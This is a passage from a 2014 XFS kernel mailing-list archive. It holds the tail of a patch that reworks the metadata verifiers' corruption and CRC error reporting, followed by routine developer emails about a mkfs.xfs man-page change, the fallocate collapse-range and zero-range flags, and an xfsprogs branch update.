xfs_dir3_data_reada_verify( xfs_dir3_data_verify(bp); return; default: - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); break; } } @@ -267,12 +266,14 @@ xfs_dir3_data_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_data_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -284,8 +285,8 @@ xfs_dir3_data_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index dffb61b..d36e97d 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -179,12 +179,14 @@ __read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || - !xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_leaf_verify(bp, magic)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -197,8 +199,8 @@ __write_verify( struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 0904b20..cb434d7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -115,12 +115,14 @@ xfs_dir3_free_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || - !xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_free_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -132,8 +134,8 @@ xfs_dir3_free_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index d401457..610da81 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -257,10 +257,13 @@ xfs_dquot_buf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_dquot_buf_verify_crc(mp, bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dquot_buf_verify(mp, bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } /* @@ -275,8 +278,8 @@ xfs_dquot_buf_write_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } } diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 4657586..8aa720d 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1573,13 +1573,17 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); + if (!agi_ok) + xfs_buf_ioerror(bp, EFSBADCRC); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, - XFS_RANDOM_IALLOC_READ_AGI))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_RANDOM_IALLOC_READ_AGI))) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -1590,8 +1594,8 @@ xfs_agi_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agi_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 0028c50..7e309b1 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -243,12 +243,14 @@ static void xfs_inobt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_inobt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_inobt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -258,9 +260,8 @@ xfs_inobt_write_verify( { if (!xfs_inobt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 606b43a..24e9939 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -102,8 +102,7 @@ xfs_inode_buf_verify( } xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); + xfs_verifier_error(bp); #ifdef DEBUG xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 818359f..b134aa8 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -614,7 +614,7 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { - error = EFSCORRUPTED; + error = EFSBADCRC; goto out_error; } } @@ -623,10 +623,9 @@ xfs_sb_read_verify( out_error: if (error) { - if (error == EFSCORRUPTED) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + if (error == EFSCORRUPTED || error == EFSBADCRC) + xfs_verifier_error(bp); } } @@ -661,9 +660,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index defa09f..9b32052 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -133,11 +133,13 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_symlink_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -152,8 +154,8 @@ xfs_symlink_write_verify( return; if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } -- 1.7.1 From david@fromorbit.com Tue Feb 18 18:13:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 044447FED for ; Tue, 18 Feb 2014 18:13:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E3DC0304081 for ; Tue, 18 Feb 2014 16:13:17 -0800 (PST) X-ASG-Debug-ID: 1392768792-04bdf0083a16920001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id GDdl6GOP9Rl6d3r8 for ; Tue, 18 Feb 2014 16:13:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkgKACz2A1N5LJYe/2dsb2JhbABZgwa7f4VRgSAXdIIlAQEFOhwjDAQIAw4DBAEBAQkeBw8FJQMKCQ4TiATMVBcWjgBOBwaEMgSYL5Ilg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 10:43:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFumh-0001aJ-KT; Wed, 19 Feb 2014 11:13:07 +1100 Date: Wed, 19 Feb 2014 11:13:07 +1100 From: Dave Chinner To: Shaun Gosse Cc: Zachary Kotlarek , "xfs@oss.sgi.com" Subject: Re: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode Message-ID: <20140219001307.GI13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode References: <1389806582-26815-1-git-send-email-zach@kotlarek.com> <1389806582-26815-2-git-send-email-zach@kotlarek.com> <8D3FA7645C1CFC4E9E783D22B4C708644AA855@P-EXMB2-DC21.corp.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8D3FA7645C1CFC4E9E783D22B4C708644AA855@P-EXMB2-DC21.corp.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392768792 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145260 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 15, 2014 at 05:31:34PM +0000, Shaun Gosse wrote: > Looks good. > > Reviewed-by: Shaun Gosse > > Thanks again, > -Shaun > > -----Original Message----- > From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of Zachary Kotlarek > Sent: Wednesday, January 15, 2014 11:23 AM > To: xfs@oss.sgi.com > Cc: Zachary Kotlarek > Subject: [PATCH] Add a warning about non-ASCII filenames in ASCII-CI mode > > --- > man/man8/mkfs.xfs.8 | 6 ++++-- > 1 files changed, 4 insertions(+), 2 deletions(-) > > diff --git a/man/man8/mkfs.xfs.8 b/man/man8/mkfs.xfs.8 index 8184e10..e1c5cf7 100644 > --- a/man/man8/mkfs.xfs.8 > +++ b/man/man8/mkfs.xfs.8 > @@ -513,9 +513,11 @@ any power of 2 size from the filesystem block size up to 65536. > .IP > The > .B version=ci > -option enables ASCII only case-insensitive filename lookup and version > +option enables ASCII-only case-insensitive filename lookup and version > 2 directories. Filenames are case-preserving, that is, the names -are stored in directories using the case they were created with. > +are stored in directories using the case they were created with. In > +this mode non-ASCII file and directory names are not supported and are > +likely to become inaccessible if used. > .IP > Note: Version 1 directories are not supported. > .TP > -- I missed this when it was posted and only just caught it. Sorry about that. I can't commit it without a Signed-off-by. Zachary, can you resned this with a commit message indicating why the documentation change is necessary and with a proper SOB on it? Cheers, Dave. -- Dave Chinner david@fromorbit.com From tytso@thunk.org Tue Feb 18 18:34:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 896978001 for ; Tue, 18 Feb 2014 18:34:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 70BD630408D for ; Tue, 18 Feb 2014 16:34:11 -0800 (PST) X-ASG-Debug-ID: 1392770048-04bdf00fc91352a0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id i1i9GrSn4XQrJOQe (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 16:34:09 -0800 (PST) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WFv6w-0004XA-U8; Wed, 19 Feb 2014 00:34:03 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id BAD685807F2; Tue, 18 Feb 2014 19:33:51 -0500 (EST) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1392770031; bh=xYhe3K/uCDKmhQmS6nlhscwpgfPcZUf8efemAU7ZoMU=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=YTqeTTEx28tY30Y54FA1e2Sq2oRp1eo9IPLoh0UL05RVNGFoaeixoNVBwsU+sUnDR Oto7B9WBYoQp+LZoQUHs4GRKuIte08FR6s3OBv/YuvQWofzGlYRttSz0mqKMsuJxyL AoBwwIimeq1pGabY7ogM0yG5L2enq52f8JTQW0z8= Date: Tue, 18 Feb 2014 19:33:51 -0500 From: Theodore Ts'o To: =?utf-8?B?THVrw6HFoQ==?= Czerner Cc: Dave Chinner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140219003351.GE7339@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140218010138.GE13997@dastard> <20140218083324.GB28666@dastard> <20140218094142.GC28666@dastard> <20140218142305.GN26580@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1392770049 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 18, 2014 at 03:42:10PM +0100, Lukáš Czerner wrote: > > To be honest "block_map" group name does not mean anything to me. Well, traditionally the "bmap" function is what is used to map from an inode and a logcal block and a physical block. I thought block_map was more obvious, but maybe this is a case where "bmap" would be more understandable? I dunno. - Ted From linkinjeon@gmail.com Tue Feb 18 18:46:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D5ECC801D for ; Tue, 18 Feb 2014 18:46:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A487F8F807A for ; Tue, 18 Feb 2014 16:46:06 -0800 (PST) X-ASG-Debug-ID: 1392770764-04bdf0083a18d10001-NocioJ Received: from mail-qa0-f47.google.com (mail-qa0-f47.google.com [209.85.216.47]) by cuda.sgi.com with ESMTP id iTahcT8bzfIV6Fod (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 16:46:05 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.47 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] Received: by mail-qa0-f47.google.com with SMTP id j5so24187953qaq.20 for ; Tue, 18 Feb 2014 16:46:04 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.47] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xQJZv2oIhD65MRYahqt0Uz99ezDoqczosDo049bZhW4=; b=g/oazYo8E59ey+GH8GOq5LPjcUA1O3U9Z1UDV//9aZGnGm4lrAM6SLhPS/7oXDL7tB ryLIkb3AEDuGs9IoDPkTqt4AvuL1sx+Eq4uNstUwZOSDgL11aVuqB/sldb7TA2AGHjGv x4EZnw82dv/cQxceTuho+KpRittxDc+z5ZbBKKTCcsIDUmo4lKgkQLG7BmvBjhcuS4rr XjgtUf3N+OKtX5JWvv/I1F5SG+E42bbo53FoYLYj5PejMQVBBOWg0vOrNxFW9AcBoCv3 3B3reOs8xzNeMf9otXaLElAZ7bWhkTWsO2FOH1g7KrXRcq2tNFzu7rabwTT+zxG2Z5Ok kRkA== MIME-Version: 1.0 X-Received: by 10.140.89.167 with SMTP id v36mr45146411qgd.27.1392770764340; Tue, 18 Feb 2014 16:46:04 -0800 (PST) Received: by 10.96.109.102 with HTTP; Tue, 18 Feb 2014 16:46:04 -0800 (PST) In-Reply-To: <20140202152106.GL20939@parisc-linux.org> References: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> <20140202151624.GK20939@parisc-linux.org> <20140202152106.GL20939@parisc-linux.org> Date: Wed, 19 Feb 2014 09:46:04 +0900 Message-ID: Subject: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate From: Namjae Jeon X-ASG-Orig-Subj: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate To: Matthew Wilcox Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-qa0-f47.google.com[209.85.216.47] X-Barracuda-Start-Time: 1392770764 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 2014-02-03 0:21 GMT+09:00, Matthew Wilcox : > On Sun, Feb 02, 2014 at 08:16:24AM -0700, Matthew Wilcox wrote: >> On Sun, Feb 02, 2014 at 02:41:34PM +0900, Namjae Jeon wrote: >> > The semantics of this flag are following: >> > 1) It collapses the range lying between offset and length by removing >> > any data >> > blocks which are present in this range and than updates all the >> > logical >> > offsets of extents beyond "offset + len" to nullify the hole created >> > by >> > removing blocks. In short, it does not leave a hole. >> > 2) It should be used exclusively. No other fallocate flag in >> > combination. >> > 3) Offset and length supplied to fallocate should be fs block size >> > aligned >> > in case of xfs and ext4. >> > 4) Collaspe range does not work beyond i_size. >> >> What if the file is mmaped at the time somebody issues this command? >> Seems to me we should drop pagecache pages that overlap with the >> removed blocks. If the removed range is not a multiple of PAGE_SIZE, >> then we should also drop any pagecache pages after the removed range. Hi Matthew. Yes, right. So both xfs and ext4 call truncate_pagecache_range to drop page caches before removing blocks. truncate_pagecache_range(inode, offset, -1); and end offset is -1, which mean all page cache will be dropped from start offset to the end of file. > > Oops, forgot to add "and if it is a multiple of page size, then we need > to update the offsets of any pages after the removed page". We should > probably start easy though; just drop all pages that overlap the beginning > of the affected range to the end of the file. Yes, right. current implementation does exactly as you pointed > At some later point, > if there's demand, we can add the optimisation to adjust the offsets of > pages still in the cache. -> Yes, Right. But if we consider that fs block size can be less than page cache size,(512B, 1K, 2K) I thought that it is proper to drop all pages from the start offset to the end of the file. Thanks for your reply. > > -- > Matthew Wilcox Intel Open Source Technology Centre > "Bill, look, we understand that you're interested in selling us this > operating system, but compare it to ours. We can't possibly take such > a retrograde step." > From david@fromorbit.com Tue Feb 18 18:55:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C1EB27F59 for ; Tue, 18 Feb 2014 18:55:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41602AC004 for ; Tue, 18 Feb 2014 16:55:56 -0800 (PST) X-ASG-Debug-ID: 1392771354-04cbb00c28564430001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 5DhuEISTXoITj918 for ; Tue, 18 Feb 2014 16:55:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsUALgABFN5LJYe/2dsb2JhbABZgwY4qQ4DkjaGchd0gmYcOyQ0BSUDNIgEnAywYxaOa4QiBJgvkiWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 19 Feb 2014 11:25:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFvRn-0001fo-Gd for xfs@oss.sgi.com; Wed, 19 Feb 2014 11:55:35 +1100 Date: Wed, 19 Feb 2014 11:55:35 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: master branch updated to e13d0f7 Message-ID: <20140219005535.GJ13647@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: master branch updated to e13d0f7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1392771354 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) Hi Folks, The xfsprogs repository at git://oss.sgi.com/xfs/cmds/xfsprogs has just been updated. The new head of the master branch is commit: e13d0f7 xfs_db: fix attribute leaf output for ATTR3 format New Commits: Brian Foster (1): [eecbd58] xfs_io: set argmax to 1 for imap command Dave Chinner (1): [e13d0f7] xfs_db: fix attribute leaf output for ATTR3 format Mark Tinguely (1): [dc15132] xfs_db: fix the setting of unaligned directory fields Code Diffstat: db/attr.c | 2 +- db/bit.c | 84 +++++++++++++----------------- db/write.c | 170 ++++++++++++++++++++++++++++++++++++++++--------------------- io/imap.c | 2 +- 4 files changed, 148 insertions(+), 110 deletions(-) -- Dave Chinner david@fromorbit.com From linkinjeon@gmail.com Tue Feb 18 19:08:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 719867FD5 for ; Tue, 18 Feb 2014 19:08:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B7D38F807A for ; Tue, 18 Feb 2014 17:08:40 -0800 (PST) X-ASG-Debug-ID: 1392772119-04cbb00c2b5650f0001-NocioJ Received: from mail-qc0-f175.google.com (mail-qc0-f175.google.com [209.85.216.175]) by cuda.sgi.com with ESMTP id RGXOAvxoURodGnRf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 17:08:39 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.175 X-Barracuda-IPDD: Level1 